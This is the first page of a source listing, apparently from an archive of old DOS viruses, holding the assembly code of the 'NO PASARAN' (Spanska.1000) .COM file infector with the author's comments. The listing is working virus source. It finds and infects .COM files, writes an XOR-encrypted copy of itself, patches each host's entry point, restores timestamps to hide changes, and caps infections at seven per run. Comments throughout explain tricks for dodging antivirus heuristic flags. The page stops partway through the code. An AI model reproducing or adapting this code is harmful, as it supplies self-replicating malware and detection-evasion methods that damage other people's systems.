nopasara.asm

来自「More than 800 virus code (old school) ju」· 汇编 代码 · 共 668 行 · 第 1/2 页

; NO PASARAN virus version 2 by Spanska
; Called Spanska.1000 by AV people
; This is my first virus
;
;***********************************************************************
;
;   This virus is dedicated to all spanish and international young
;   guys who fighted against fascist army during Spanish Civil War
;          (1936-1939). They said "THEY SHALL NOT PASS!"
;
;********************************contact me at [e-mail]***
;
; No flag with TBSCAN
; At the time it was released (january 97), was not detected by
; TBSCAN, FPROT, AVP, DrSolly FINDVIRUS in heuristic mode
; but by DrWeb in heuristic mode (i didn't know this program...)
;
; generation zero size: 3537 bytes 
; virus size:           1000 bytes
;
; Compile it with TASM /m2 and TLINK /t
;
;       Properties:
; simple .com runtime infector
; not destructive
; encrypted with variable key
; infects 7 files each run
; infects current directory, than upper directories
; when it reaches the root, it starts infecting all "level1" subdirectories
; doe not infect files >60,000 or <100 bytes, nor command.com
; the VGA graphic bomb (a fire effect) explodes when minutes=22 
; and seconds<30 (1/120)

code    segment
	assume  ds:code, ss:code, cs:code, es:code
	org 100h
;
;---------------fake host code--------------------
;
hote:                                                   
call virus              ;jump to viral code (avoid J flag)          
signature db "lc"       ;virus signature   
nop                     ;
nop                     ;fake host 
nop                     ;
nop                     ;
mov ah, 4ch             ;finished
mov al,0                ;go to
int 21h                 ;DOS

;**********************************************************************
;                      START OF VIRAL CODE
;**********************************************************************

virus:                ;virus starts here
jmp evite             ;avoid next routine

;===    simulation of a stosb    ===
;===  when outside decrypt loop  ===
;===        do not flag #        ===
baise_flag_cryptage:            ;===      
mov [di], al                    ;=========>>>   NO MORE FLAG "#" !!!!!  
inc di                          ;===       
ret                             ;===    
;===================================
;
;---------------get delta offset----------------------------
;
evite:
call $+3                              ;modified classic
delta:                                ;routine to
mov bp, sp                            ;avoid flag E
mov ax, [bp]                          ;
add word ptr [bp], decrypte-delta     ;thanks Slacker's Theory
sub ax, offset delta                  ;of Code through Obscurity!
mov bp, ax
ret
;
;----------------------decrypting routine-------------------------
;
decrypte:
mov dl, [bp+offset clef]               ;get actual key
mov cx, fin_cryptage - debut_cryptage  ;
lea si, [bp+offset debut_cryptage]     ;
mov di, si                             ;
xor_loop:                              ;decrypt loop
mov al, [si]                           ;
inc si                                 ;
xor al, dl                             ;
call baise_flag_cryptage               ;call the fake stosb to avoid flag #
loop xor_loop                          
;
;-----initialization to 0 of both infection and directory counters--------
;
debut_cryptage:                         ;crypted zone starts here    
mov byte ptr [bp+offset compteur], 0    ;infection counter
mov byte ptr [bp+offset phase], 0       ;directory counter
;
;-----------------------remember current repertory-----------------------
;
lea si, [bp+offset repert]     ;
xor dl, dl                     ;
mov ah, 47h                    ;
int 21h                        ;
;
;-----------------DTA go to a predefined zone in memory------------------
;
push 1a00h              ;push/pop to
pop ax                  ;avoid flag F 
lea dx, [bp+offset dta] ;
int 21h                 ;
;
;------------------------find first file--------------------------------- 
;
recherche:
mov cx, 0007h                  ;
lea dx, [bp+offset file_type]  ;
mov ax, 4e00h                  ; 
int 21h                        ;file found?
jnc sauter_suivant             ;yes => c=0, let's continue 
jmp rep_sup                    ;no => go to upper directory
;
;---------------------------find next file-------------------------------- 
;
fichier_suivant:
lea dx, [bp+offset file_type]  ;
mov ax, 4f00h                  ; 
mov cx, 0007h                  ;
int 21h                        ;file found?     
jnc saut5                      ;yes => c=0, let's continue 
jmp rep_sup                    ;no => go to upper direcory
saut5:                         
;
;---------------verify if extension is really .com---------------------
;            (it's made to avoid flag S with tbscan)
; (and to avoid AVP detection 'cause AVP detects all combinations 
;                   like .c?m, .?om..., BUT .c*)
;
sauter_suivant:                
mov cx, 13d                    ;max size of a file name (not really, but
lea si, [bp+offset dta+1eh]    ;who cares? I've stolen this routine somewhere)
compare:                       ;loop for detecting start of the extension
lodsb                          ;letter in al
cmp al, "."                    ;is it a point?
jne compare                    ;no => test next letter
inc si                         ;yes => si points on second extension letter
cmp word ptr [si], "MO"        ;second and third letters are "OM"?
jne fichier_suivant            ;no => find next file
;
;-------------------verify if it's command.com----------------------------
;
cmp word ptr [bp+offset dta+1eh+2], "MM"
je fichier_suivant                         ;yes => find next file
;
;------------attributes to 0 to infect special files---------------------
;
lea dx, [bp+offset dta+1eh]    ;file name pointed with dx
push 4301h                     ;push/pull to
pop ax                         ;avoid flag F 
xor cx, cx                     ;
int 21h                        ;
;
;---------------------------open file------------------------------------
;
mov ax, 3D02h                  ;
lea dx, [bp+offset dta+1eh]    ;
int 21h                        ;file found?
jnc saut2                      ;yes => c=0, let's continue 
jmp remise_en_etat             ;no => arrange file and close it
saut2:                         ;
mov [bp+offset handle],ax      ;
;         
;-----------------read 5 first bytes of the file---------------------
;
xchg ax, bx                          ;  
mov cx, 5                            ;
mov ax, 3F00h                        ;
lea dx, [bp+offset contenu]          ;bytes go to "contenu" zone
int 21h                              ;file found?
jnc saut3                            ;yes => c=0, let's continue 
jmp remise_en_etat                   ;no => arrange file and close it
saut3:                               ;
;
;------------------is the file already infected?-----------------------
;
cmp word ptr [bp+offset contenu+3], "cl"   ;compare with signature
jnz saut4                      ;not infected => z=0, let's continue 
jmp remise_en_etat             ;already infected => arrange file and close
saut4:                         ;
;
;-----------------------is the size correct?---------------------------
;
cmp word ptr [bp+offset dta+1ah], 60000 ;compare size with 60000
jna pas_trop_gros                       ;is it bigger?
jmp remise_en_etat                      ;yes => find next file
pas_trop_gros:                          ;no => other verification
cmp word ptr [bp+offset dta+1ah], 100   ;compare size with 100
jnb verif_ok                            ;if >100 let's continue
;
;--------arrange file and close it in case of non-infection-------------
;
remise_en_etat:
mov ah, 3Eh             ;
int 21h                 ;close it
;
;------------------restore attributes-----------------------------------
;
lea dx, [bp+offset dta+1eh]          ;
xor ch, ch                           ;
mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in the DTA
push 4301h                           ;push/pop to 
pop ax                               ;avoid flag F
int 21h                              ;
;
;----------after arranging the file, let's find another one-------------
;
jmp fichier_suivant            ;go to find-next routine
;
;-------------------disk file pointer at the end-------------------
;
verif_ok:
mov ax, 4202h                         ;
xor cx, cx                            ;
mov dx, cx                            ;
int 21h                               ; 
;
;----------------------infection routine------------------------------
;
;first, let's write non-encrypted part
;
mov ax, 4000h                        ;
mov cx, debut_cryptage - virus       ;
lea dx, [bp+offset virus]            ;
int 21h                              ;
;
;second, let's crypt next part in memory
;
mov cl, [bp+offset cinq_octets+1]      ;cl=new key   
mov byte ptr [bp+offset clef_temp], cl ;on a temporary zone
lea si, [bp+offset debut_cryptage]     ;si=start of the crypted zone
lea di, [bp+offset zone_de_travail]    ;di=temporary mem zone for crypting
xchg cl, dl                            ;key in dl
mov cx, fin_cryptage - debut_cryptage  ;cx=number of bytes to crypt
crypte_et_transfere:                   ;
lodsb                                  ;
xor al, dl                             ;classic XOR crypting loop
stosb                                  ;
loop crypte_et_transfere               ;
;
;third, disk writing of the crypted zone
;
mov ax, 4000h                          ;
mov cx, fin_cryptage - debut_cryptage  ;number of bytes to write 
lea dx, [bp+offset zone_de_travail]    ;
int 21h                                ;
;
;------write on disk real 5 first bytes of the file+new crypt key-------- 
;----from "contenu" zone in memory to "cinq_octets" zone on the disk)----
;
;1) move disk file pointer to good zone
;
xor cx, cx                               ;
mov dx, word ptr [bp+offset dta+1ah]     ;non-infected file size in dx
add dx, cinq_octets - virus              ;add offset of good zone
mov ax, 4200h                            ;
int 21h                                  ;
;
;2) move memory pointer to good zone, and transfer
;
mov cx, 6                               ;we will write 6 bytes
lea dx, [bp+offset contenu]             ;("contenu" + "clef_temp")
push 4000h                              ;so 5 first bytes + new key
pop ax                                  ;this push/pop is not necessary
int 21h                                 ;
;
;--overwrite 5 first bytes on the disk by jump to virus code + signature---
;
;1) move disk file pointer to start of the file
;
xor cx,cx                      ;
mov dx, cx                     ;
mov ax, 4200h                  ;
int 21h                        ;
;
;2) calculate initial jump and write all on a temp zone in memory
;(NB: we use the "contenu" memory zone which is not more util)
;
mov byte ptr [bp+offset contenu], 0e8h    ;E8=opcode of CALL
mov ax, word ptr [bp+offset dta+1ah]      ;ax=file size
sub ax, 3                                 ;this is because of the CALL
mov word ptr [bp+offset contenu+1], ax    ;write deplacement 
mov word ptr [bp+offset contenu+3], "cl"  ;write signature
;
;3) overwrite 5 first bytes on the file
;
mov cx,5                        ;
lea dx, [bp+offset contenu]     ;
mov ax, 4000h                   ;
int 21h                         ;
;
;-------------------restore time/date of the file------------------------
;
mov dx, word ptr [bp+offset dta+18h]   ;date in dx
mov cx, word ptr [bp+offset dta+16h]   ;time in cx
push 5701h                             ;push/pop
pop ax                                 ;to avoid flag F 
int 21h                                ;
;
;-----------------------------close file---------------------------------
;
mov ah, 3Eh             ;
int 21h                 ;
;
;------------------------restore file attributes-----------------------
;
lea dx, [bp+offset dta+1eh]          ;
xor ch, ch                           ;
mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in DTA
push 4301h                           ;
pop ax                               ;
int 21h                              ;
;
;--------------verify how many files we have infected------------------
;
mov byte ptr cl, [bp+offset compteur]   ;infection counter in cl
inc cl                                  ;one more
cmp cl, 7                               ;have we infected 7 files?
je attendre                             ;yes => let's stop
mov byte ptr [bp+offset compteur], cl   ;no => write new value of counter
;
;-----------------------let's infect a new file-------------------------
;
jmp fichier_suivant                     ;infect next file
;